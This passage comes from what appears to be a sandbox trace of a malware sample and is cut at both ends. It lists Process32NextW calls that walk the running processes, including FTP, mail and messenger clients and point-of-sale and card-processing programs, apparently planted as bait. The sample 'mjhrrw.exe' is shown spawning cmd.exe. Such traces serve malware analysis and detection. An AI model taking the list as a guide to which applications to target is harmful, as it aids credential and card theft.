hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0087.610] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0087.611] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0087.611] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0087.612] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0087.613] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0087.613] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0087.614] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0087.614] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0087.615] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0087.615] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0087.616] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0087.616] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0087.617] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0087.617] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0087.618] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0087.618] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0087.619] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0087.619] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0087.620] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0087.620] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0087.621] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0087.621] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0087.622] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0087.622] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0087.625] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0087.625] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0087.626] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0087.627] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0087.628] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0087.629] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0087.631] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0087.632] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0087.633] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0087.634] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0087.635] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0087.636] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0087.636] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0087.637] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0087.638] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0087.858] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0087.859] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0087.860] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0087.861] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0087.861] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0087.862] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0087.863] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0087.864] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0087.865] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0087.865] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0087.866] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0087.867] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0087.868] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0087.869] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0087.869] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0087.870] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0087.871] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0087.872] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0087.872] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0087.873] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0087.874] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0087.874] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0087.875] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0087.876] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0087.877] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0087.877] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0087.878] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0087.879] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.879] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0087.880] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0087.881] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0087.881] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0087.882] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0087.883] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0087.883] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0087.884] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0087.885] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.886] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0087.886] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0087.887] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0087.887] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0087.888] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: 